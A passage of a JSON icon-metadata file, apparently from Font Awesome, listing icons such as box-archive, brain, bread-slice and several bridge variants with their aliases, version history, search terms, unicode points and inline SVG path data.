        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M50.7 58.5L0 160H208V32H93.7C75.5 32 58.9 42.3 50.7 58.5zM240 160H448L397.3 58.5C389.1 42.3 372.5 32 354.3 32H240V160zm208 32H0V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V192z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M50.7 58.5L0 160H208V32H93.7C75.5 32 58.9 42.3 50.7 58.5zM240 160H448L397.3 58.5C389.1 42.3 372.5 32 354.3 32H240V160zm208 32H0V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V192z"
      }
    },
    "free": ["solid"]
  },
  "box-archive": {
    "aliases": {
      "names": ["archive"],
      "unicodes": {
        "secondary": ["10f187"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "5.0.9",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["box", "package", "save", "storage"]
    },
    "styles": ["solid"],
    "unicode": "f187",
    "label": "Box Archive",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767393,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M32 32H480c17.7 0 32 14.3 32 32V96c0 17.7-14.3 32-32 32H32C14.3 128 0 113.7 0 96V64C0 46.3 14.3 32 32 32zm0 128H480V416c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V160zm128 80c0 8.8 7.2 16 16 16H336c8.8 0 16-7.2 16-16s-7.2-16-16-16H176c-8.8 0-16 7.2-16 16z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M32 32H480c17.7 0 32 14.3 32 32V96c0 17.7-14.3 32-32 32H32C14.3 128 0 113.7 0 96V64C0 46.3 14.3 32 32 32zm0 128H480V416c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V160zm128 80c0 8.8 7.2 16 16 16H336c8.8 0 16-7.2 16-16s-7.2-16-16-16H176c-8.8 0-16 7.2-16 16z"
      }
    },
    "free": ["solid"]
  },
  "box-open": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f49e"]
      }
    },
    "changes": [
      "5.0.9",
      "5.7.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["archive", "container", "package", "storage", "unpack"]
    },
    "styles": ["solid"],
    "unicode": "f49e",
    "label": "Box Open",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M58.9 42.1c3-6.1 9.6-9.6 16.3-8.7L320 64 564.8 33.4c6.7-.8 13.3 2.7 16.3 8.7l41.7 83.4c9 17.9-.6 39.6-19.8 45.1L439.6 217.3c-13.9 4-28.8-1.9-36.2-14.3L320 64 236.6 203c-7.4 12.4-22.3 18.3-36.2 14.3L37.1 170.6c-19.3-5.5-28.8-27.2-19.8-45.1L58.9 42.1zM321.1 128l54.9 91.4c14.9 24.8 44.6 36.6 72.5 28.6L576 211.6v167c0 22-15 41.2-36.4 46.6l-204.1 51c-10.2 2.6-20.9 2.6-31 0l-204.1-51C79 419.7 64 400.5 64 378.5v-167L191.6 248c27.8 8 57.6-3.8 72.5-28.6L318.9 128h2.2z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M58.9 42.1c3-6.1 9.6-9.6 16.3-8.7L320 64 564.8 33.4c6.7-.8 13.3 2.7 16.3 8.7l41.7 83.4c9 17.9-.6 39.6-19.8 45.1L439.6 217.3c-13.9 4-28.8-1.9-36.2-14.3L320 64 236.6 203c-7.4 12.4-22.3 18.3-36.2 14.3L37.1 170.6c-19.3-5.5-28.8-27.2-19.8-45.1L58.9 42.1zM321.1 128l54.9 91.4c14.9 24.8 44.6 36.6 72.5 28.6L576 211.6v167c0 22-15 41.2-36.4 46.6l-204.1 51c-10.2 2.6-20.9 2.6-31 0l-204.1-51C79 419.7 64 400.5 64 378.5v-167L191.6 248c27.8 8 57.6-3.8 72.5-28.6L318.9 128h2.2z"
      }
    },
    "free": ["solid"]
  },
  "box-tissue": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e05b"]
      }
    },
    "changes": ["5.13.0", "5.14.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "cough",
        "covid-19",
        "kleenex",
        "mucus",
        "nose",
        "sneeze",
        "snot"
      ]
    },
    "styles": ["solid"],
    "unicode": "e05b",
    "label": "Box Tissue",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767444,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M92.5 0H208c40 0 52 24 64 48s24 48 64 48h85.2C436 96 448 108 448 122.8c0 3.4-.7 6.8-1.9 10L409.6 224 384 288H128l-16-64L64.9 35.4c-.6-2.3-.9-4.6-.9-6.9C64 12.8 76.8 0 92.5 0zM79 224l16 64H80c-8.8 0-16 7.2-16 16s7.2 16 16 16h48H384h48c8.8 0 16-7.2 16-16s-7.2-16-16-16H418.5l25.6-64H464c26.5 0 48 21.5 48 48V384H0V272c0-26.5 21.5-48 48-48H79zM0 416H512v48c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V416z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M92.5 0H208c40 0 52 24 64 48s24 48 64 48h85.2C436 96 448 108 448 122.8c0 3.4-.7 6.8-1.9 10L409.6 224 384 288H128l-16-64L64.9 35.4c-.6-2.3-.9-4.6-.9-6.9C64 12.8 76.8 0 92.5 0zM79 224l16 64H80c-8.8 0-16 7.2-16 16s7.2 16 16 16h48H384h48c8.8 0 16-7.2 16-16s-7.2-16-16-16H418.5l25.6-64H464c26.5 0 48 21.5 48 48V384H0V272c0-26.5 21.5-48 48-48H79zM0 416H512v48c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V416z"
      }
    },
    "free": ["solid"]
  },
  "boxes-packing": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["archive", "box", "package", "storage", "supplies"]
    },
    "styles": ["solid"],
    "unicode": "e4c7",
    "label": "Boxes Packing",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M256 48c0-26.5 21.5-48 48-48H592c26.5 0 48 21.5 48 48V464c0 26.5-21.5 48-48 48H381.3c1.8-5 2.7-10.4 2.7-16V253.3c18.6-6.6 32-24.4 32-45.3V176c0-26.5-21.5-48-48-48H256V48zM571.3 347.3c6.2-6.2 6.2-16.4 0-22.6l-64-64c-6.2-6.2-16.4-6.2-22.6 0l-64 64c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0L480 310.6V432c0 8.8 7.2 16 16 16s16-7.2 16-16V310.6l36.7 36.7c6.2 6.2 16.4 6.2 22.6 0zM0 176c0-8.8 7.2-16 16-16H368c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H16c-8.8 0-16-7.2-16-16V176zm352 80V480c0 17.7-14.3 32-32 32H64c-17.7 0-32-14.3-32-32V256H352zM144 320c-8.8 0-16 7.2-16 16s7.2 16 16 16h96c8.8 0 16-7.2 16-16s-7.2-16-16-16H144z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M256 48c0-26.5 21.5-48 48-48H592c26.5 0 48 21.5 48 48V464c0 26.5-21.5 48-48 48H381.3c1.8-5 2.7-10.4 2.7-16V253.3c18.6-6.6 32-24.4 32-45.3V176c0-26.5-21.5-48-48-48H256V48zM571.3 347.3c6.2-6.2 6.2-16.4 0-22.6l-64-64c-6.2-6.2-16.4-6.2-22.6 0l-64 64c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0L480 310.6V432c0 8.8 7.2 16 16 16s16-7.2 16-16V310.6l36.7 36.7c6.2 6.2 16.4 6.2 22.6 0zM0 176c0-8.8 7.2-16 16-16H368c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H16c-8.8 0-16-7.2-16-16V176zm352 80V480c0 17.7-14.3 32-32 32H64c-17.7 0-32-14.3-32-32V256H352zM144 320c-8.8 0-16 7.2-16 16s7.2 16 16 16h96c8.8 0 16-7.2 16-16s-7.2-16-16-16H144z"
      }
    },
    "free": ["solid"]
  },
  "boxes-stacked": {
    "aliases": {
      "names": ["boxes", "boxes-alt"],
      "unicodes": {
        "composite": ["f4a1"],
        "primary": ["f4a1"],
        "secondary": ["10f468", "10f4a1"]
      }
    },
    "changes": [
      "5.0.7",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["archives", "inventory", "storage", "warehouse"]
    },
    "styles": ["solid"],
    "unicode": "f468",
    "label": "Boxes Stacked",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M248 0H208c-26.5 0-48 21.5-48 48V160c0 35.3 28.7 64 64 64H352c35.3 0 64-28.7 64-64V48c0-26.5-21.5-48-48-48H328V80c0 8.8-7.2 16-16 16H264c-8.8 0-16-7.2-16-16V0zM64 256c-35.3 0-64 28.7-64 64V448c0 35.3 28.7 64 64 64H224c35.3 0 64-28.7 64-64V320c0-35.3-28.7-64-64-64H184v80c0 8.8-7.2 16-16 16H120c-8.8 0-16-7.2-16-16V256H64zM352 512H512c35.3 0 64-28.7 64-64V320c0-35.3-28.7-64-64-64H472v80c0 8.8-7.2 16-16 16H408c-8.8 0-16-7.2-16-16V256H352c-15 0-28.8 5.1-39.7 13.8c4.9 10.4 7.7 22 7.7 34.2V464c0 12.2-2.8 23.8-7.7 34.2C323.2 506.9 337 512 352 512z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M248 0H208c-26.5 0-48 21.5-48 48V160c0 35.3 28.7 64 64 64H352c35.3 0 64-28.7 64-64V48c0-26.5-21.5-48-48-48H328V80c0 8.8-7.2 16-16 16H264c-8.8 0-16-7.2-16-16V0zM64 256c-35.3 0-64 28.7-64 64V448c0 35.3 28.7 64 64 64H224c35.3 0 64-28.7 64-64V320c0-35.3-28.7-64-64-64H184v80c0 8.8-7.2 16-16 16H120c-8.8 0-16-7.2-16-16V256H64zM352 512H512c35.3 0 64-28.7 64-64V320c0-35.3-28.7-64-64-64H472v80c0 8.8-7.2 16-16 16H408c-8.8 0-16-7.2-16-16V256H352c-15 0-28.8 5.1-39.7 13.8c4.9 10.4 7.7 22 7.7 34.2V464c0 12.2-2.8 23.8-7.7 34.2C323.2 506.9 337 512 352 512z"
      }
    },
    "free": ["solid"]
  },
  "braille": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f2a1"]
      }
    },
    "changes": [
      "4.6.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["alphabet", "blind", "dots", "raised", "vision"]
    },
    "styles": ["solid"],
    "unicode": "f2a1",
    "label": "Braille",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767551,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0 96a64 64 0 1 1 128 0A64 64 0 1 1 0 96zM224 272a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm0-80a64 64 0 1 1 0 128 64 64 0 1 1 0-128zM80 416a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zM0 416a64 64 0 1 1 128 0A64 64 0 1 1 0 416zm240 0a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm-80 0a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM64 192a64 64 0 1 1 0 128 64 64 0 1 1 0-128zM224 32a64 64 0 1 1 0 128 64 64 0 1 1 0-128zM352 96a64 64 0 1 1 128 0A64 64 0 1 1 352 96zm240 0a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm-80 0a64 64 0 1 1 128 0A64 64 0 1 1 512 96zm64 176a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm0-80a64 64 0 1 1 0 128 64 64 0 1 1 0-128zm16 224a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm-80 0a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM416 272a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm0-80a64 64 0 1 1 0 128 64 64 0 1 1 0-128zm16 224a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm-80 0a64 64 0 1 1 128 0 64 64 0 1 1 -128 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M0 96a64 64 0 1 1 128 0A64 64 0 1 1 0 96zM224 272a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm0-80a64 64 0 1 1 0 128 64 64 0 1 1 0-128zM80 416a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zM0 416a64 64 0 1 1 128 0A64 64 0 1 1 0 416zm240 0a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm-80 0a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM64 192a64 64 0 1 1 0 128 64 64 0 1 1 0-128zM224 32a64 64 0 1 1 0 128 64 64 0 1 1 0-128zM352 96a64 64 0 1 1 128 0A64 64 0 1 1 352 96zm240 0a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm-80 0a64 64 0 1 1 128 0A64 64 0 1 1 512 96zm64 176a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm0-80a64 64 0 1 1 0 128 64 64 0 1 1 0-128zm16 224a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm-80 0a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zM416 272a16 16 0 1 0 0-32 16 16 0 1 0 0 32zm0-80a64 64 0 1 1 0 128 64 64 0 1 1 0-128zm16 224a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm-80 0a64 64 0 1 1 128 0 64 64 0 1 1 -128 0z"
      }
    },
    "free": ["solid"]
  },
  "brain": {
    "aliases": {
      "unicodes": {
        "composite": ["1f9e0"],
        "secondary": ["10f5dc"]
      }
    },
    "changes": [
      "5.2.0",
      "5.9.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "brain",
        "cerebellum",
        "gray matter",
        "intellect",
        "intelligent",
        "medulla oblongata",
        "mind",
        "noodle",
        "wit"
      ]
    },
    "styles": ["solid"],
    "unicode": "f5dc",
    "label": "Brain",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766749,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M184 0c30.9 0 56 25.1 56 56V456c0 30.9-25.1 56-56 56c-28.9 0-52.7-21.9-55.7-50.1c-5.2 1.4-10.7 2.1-16.3 2.1c-35.3 0-64-28.7-64-64c0-7.4 1.3-14.6 3.6-21.2C21.4 367.4 0 338.2 0 304c0-31.9 18.7-59.5 45.8-72.3C37.1 220.8 32 207 32 192c0-30.7 21.6-56.3 50.4-62.6C80.8 123.9 80 118 80 112c0-29.9 20.6-55.1 48.3-62.1C131.3 21.9 155.1 0 184 0zM328 0c28.9 0 52.6 21.9 55.7 49.9c27.8 7 48.3 32.1 48.3 62.1c0 6-.8 11.9-2.4 17.4c28.8 6.2 50.4 31.9 50.4 62.6c0 15-5.1 28.8-13.8 39.7C493.3 244.5 512 272.1 512 304c0 34.2-21.4 63.4-51.6 74.8c2.3 6.6 3.6 13.8 3.6 21.2c0 35.3-28.7 64-64 64c-5.6 0-11.1-.7-16.3-2.1c-3 28.2-26.8 50.1-55.7 50.1c-30.9 0-56-25.1-56-56V56c0-30.9 25.1-56 56-56z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M184 0c30.9 0 56 25.1 56 56V456c0 30.9-25.1 56-56 56c-28.9 0-52.7-21.9-55.7-50.1c-5.2 1.4-10.7 2.1-16.3 2.1c-35.3 0-64-28.7-64-64c0-7.4 1.3-14.6 3.6-21.2C21.4 367.4 0 338.2 0 304c0-31.9 18.7-59.5 45.8-72.3C37.1 220.8 32 207 32 192c0-30.7 21.6-56.3 50.4-62.6C80.8 123.9 80 118 80 112c0-29.9 20.6-55.1 48.3-62.1C131.3 21.9 155.1 0 184 0zM328 0c28.9 0 52.6 21.9 55.7 49.9c27.8 7 48.3 32.1 48.3 62.1c0 6-.8 11.9-2.4 17.4c28.8 6.2 50.4 31.9 50.4 62.6c0 15-5.1 28.8-13.8 39.7C493.3 244.5 512 272.1 512 304c0 34.2-21.4 63.4-51.6 74.8c2.3 6.6 3.6 13.8 3.6 21.2c0 35.3-28.7 64-64 64c-5.6 0-11.1-.7-16.3-2.1c-3 28.2-26.8 50.1-55.7 50.1c-30.9 0-56-25.1-56-56V56c0-30.9 25.1-56 56-56z"
      }
    },
    "free": ["solid"]
  },
  "brazilian-real-sign": {
    "changes": ["6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["brazilian real sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e46c",
    "label": "Brazilian Real Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M400 0c17.7 0 32 14.3 32 32V50.2c12.5 2.3 24.7 6.4 36.2 12.1l10.1 5.1c15.8 7.9 22.2 27.1 14.3 42.9s-27.1 22.2-42.9 14.3l-10.2-5.1c-9.9-5-20.9-7.5-32-7.5h-1.7c-29.8 0-53.9 24.1-53.9 53.9c0 22 13.4 41.8 33.9 50l52 20.8c44.7 17.9 74.1 61.2 74.1 109.4v3.4c0 51.2-33.6 94.6-80 109.2V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V460.6c-15-3.5-29.4-9.7-42.3-18.3l-23.4-15.6c-14.7-9.8-18.7-29.7-8.9-44.4s29.7-18.7 44.4-8.9L361.2 389c10.8 7.2 23.4 11 36.3 11c27.9 0 50.5-22.6 50.5-50.5v-3.4c0-22-13.4-41.8-33.9-50l-52-20.8C317.3 257.4 288 214.1 288 165.9C288 114 321.5 70 368 54.2V32c0-17.7 14.3-32 32-32zM0 64C0 46.3 14.3 32 32 32h80c79.5 0 144 64.5 144 144c0 58.8-35.2 109.3-85.7 131.7l51.4 128.4c6.6 16.4-1.4 35-17.8 41.6s-35-1.4-41.6-17.8L106.3 320H64V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V288 64zM64 256h48c44.2 0 80-35.8 80-80s-35.8-80-80-80H64V256z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M400 0c17.7 0 32 14.3 32 32V50.2c12.5 2.3 24.7 6.4 36.2 12.1l10.1 5.1c15.8 7.9 22.2 27.1 14.3 42.9s-27.1 22.2-42.9 14.3l-10.2-5.1c-9.9-5-20.9-7.5-32-7.5h-1.7c-29.8 0-53.9 24.1-53.9 53.9c0 22 13.4 41.8 33.9 50l52 20.8c44.7 17.9 74.1 61.2 74.1 109.4v3.4c0 51.2-33.6 94.6-80 109.2V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V460.6c-15-3.5-29.4-9.7-42.3-18.3l-23.4-15.6c-14.7-9.8-18.7-29.7-8.9-44.4s29.7-18.7 44.4-8.9L361.2 389c10.8 7.2 23.4 11 36.3 11c27.9 0 50.5-22.6 50.5-50.5v-3.4c0-22-13.4-41.8-33.9-50l-52-20.8C317.3 257.4 288 214.1 288 165.9C288 114 321.5 70 368 54.2V32c0-17.7 14.3-32 32-32zM0 64C0 46.3 14.3 32 32 32h80c79.5 0 144 64.5 144 144c0 58.8-35.2 109.3-85.7 131.7l51.4 128.4c6.6 16.4-1.4 35-17.8 41.6s-35-1.4-41.6-17.8L106.3 320H64V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V288 64zM64 256h48c44.2 0 80-35.8 80-80s-35.8-80-80-80H64V256z"
      }
    },
    "free": ["solid"]
  },
  "bread-slice": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7ec"]
      }
    },
    "changes": ["5.7.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bake",
        "bakery",
        "baking",
        "dough",
        "flour",
        "gluten",
        "grain",
        "sandwich",
        "sourdough",
        "toast",
        "wheat",
        "yeast"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7ec",
    "label": "Bread Slice",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 32C192 32 0 64 0 192c0 35.3 28.7 64 64 64V432c0 26.5 21.5 48 48 48H400c26.5 0 48-21.5 48-48V256c35.3 0 64-28.7 64-64C512 64 320 32 256 32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 32C192 32 0 64 0 192c0 35.3 28.7 64 64 64V432c0 26.5 21.5 48 48 48H400c26.5 0 48-21.5 48-48V256c35.3 0 64-28.7 64-64C512 64 320 32 256 32z"
      }
    },
    "free": ["solid"]
  },
  "bridge": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bridge", "road"]
    },
    "styles": ["solid"],
    "unicode": "e4c8",
    "label": "Bridge",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M32 32C14.3 32 0 46.3 0 64S14.3 96 32 96H72v64H0V288c53 0 96 43 96 96v64c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V384c0-53 43-96 96-96s96 43 96 96v64c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V384c0-53 43-96 96-96V160H504V96h40c17.7 0 32-14.3 32-32s-14.3-32-32-32H32zM456 96v64H376V96h80zM328 96v64H248V96h80zM200 96v64H120V96h80z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M32 32C14.3 32 0 46.3 0 64S14.3 96 32 96H72v64H0V288c53 0 96 43 96 96v64c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V384c0-53 43-96 96-96s96 43 96 96v64c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V384c0-53 43-96 96-96V160H504V96h40c17.7 0 32-14.3 32-32s-14.3-32-32-32H32zM456 96v64H376V96h80zM328 96v64H248V96h80zM200 96v64H120V96h80z"
      }
    },
    "free": ["solid"]
  },
  "bridge-circle-check": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bridge", "not affected", "ok", "okay", "road"]
    },
    "styles": ["solid"],
    "unicode": "e4c9",
    "label": "Bridge Circle Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M64 32C46.3 32 32 46.3 32 64s14.3 32 32 32h40v64H32V288c53 0 96 43 96 96v64c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V384c0-53 43-96 96-96c6.3 0 12.4 .6 18.3 1.7C367.1 231.8 426.9 192 496 192c42.5 0 81.6 15.1 112 40.2V160H536V96h40c17.7 0 32-14.3 32-32s-14.3-32-32-32H64zM488 96v64H408V96h80zM360 96v64H280V96h80zM232 96v64H152V96h80zM640 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-76.7-43.3c6.2 6.2 6.2 16.4 0 22.6l-72 72c-6.2 6.2-16.4 6.2-22.6 0l-40-40c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L480 385.4l60.7-60.7c6.2-6.2 16.4-6.2 22.6 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M64 32C46.3 32 32 46.3 32 64s14.3 32 32 32h40v64H32V288c53 0 96 43 96 96v64c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V384c0-53 43-96 96-96c6.3 0 12.4 .6 18.3 1.7C367.1 231.8 426.9 192 496 192c42.5 0 81.6 15.1 112 40.2V160H536V96h40c17.7 0 32-14.3 32-32s-14.3-32-32-32H64zM488 96v64H408V96h80zM360 96v64H280V96h80zM232 96v64H152V96h80zM640 368a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-76.7-43.3c6.2 6.2 6.2 16.4 0 22.6l-72 72c-6.2 6.2-16.4 6.2-22.6 0l-40-40c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L480 385.4l60.7-60.7c6.2-6.2 16.4-6.2 22.6 0z"
      }
    },
    "free": ["solid"]
  },
  "bridge-circle-exclamation": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["affected", "bridge", "road"]
    },
    "styles": ["solid"],
    "unicode": "e4ca",
    "label": "Bridge Circle Exclamation",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M64 32C46.3 32 32 46.3 32 64s14.3 32 32 32h40v64H32V288c53 0 96 43 96 96v64c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V384c0-53 43-96 96-96c6.3 0 12.4 .6 18.3 1.7C367.1 231.8 426.9 192 496 192c42.5 0 81.6 15.1 112 40.2V160H536V96h40c17.7 0 32-14.3 32-32s-14.3-32-32-32H64zM488 96v64H408V96h80zM360 96v64H280V96h80zM232 96v64H152V96h80zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm0-96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm0-144c8.8 0 16 7.2 16 16v80c0 8.8-7.2 16-16 16s-16-7.2-16-16V288c0-8.8 7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M64 32C46.3 32 32 46.3 32 64s14.3 32 32 32h40v64H32V288c53 0 96 43 96 96v64c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V384c0-53 43-96 96-96c6.3 0 12.4 .6 18.3 1.7C367.1 231.8 426.9 192 496 192c42.5 0 81.6 15.1 112 40.2V160H536V96h40c17.7 0 32-14.3 32-32s-14.3-32-32-32H64zM488 96v64H408V96h80zM360 96v64H280V96h80zM232 96v64H152V96h80zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm0-96a24 24 0 1 1 0 48 24 24 0 1 1 0-48zm0-144c8.8 0 16 7.2 16 16v80c0 8.8-7.2 16-16 16s-16-7.2-16-16V288c0-8.8 7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "bridge-circle-xmark": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bridge", "destroy", "road"]
    },
    "styles": ["solid"],
    "unicode": "e4cb",
    "label": "Bridge Circle Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M64 32C46.3 32 32 46.3 32 64s14.3 32 32 32h40v64H32V288c53 0 96 43 96 96v64c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V384c0-53 43-96 96-96c6.3 0 12.4 .6 18.3 1.7C367.1 231.8 426.9 192 496 192c42.5 0 81.6 15.1 112 40.2V160H536V96h40c17.7 0 32-14.3 32-32s-14.3-32-32-32H64zM488 96v64H408V96h80zM360 96v64H280V96h80zM232 96v64H152V96h80zM496 512a144 144 0 1 0 0-288 144 144 0 1 0 0 288zm59.3-180.7L518.6 368l36.7 36.7c6.2 6.2 6.2 16.4 0 22.6s-16.4 6.2-22.6 0L496 390.6l-36.7 36.7c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L473.4 368l-36.7-36.7c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L496 345.4l36.7-36.7c6.2-6.2 16.4-6.2 22.6 0s6.2 16.4 0 22.6z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
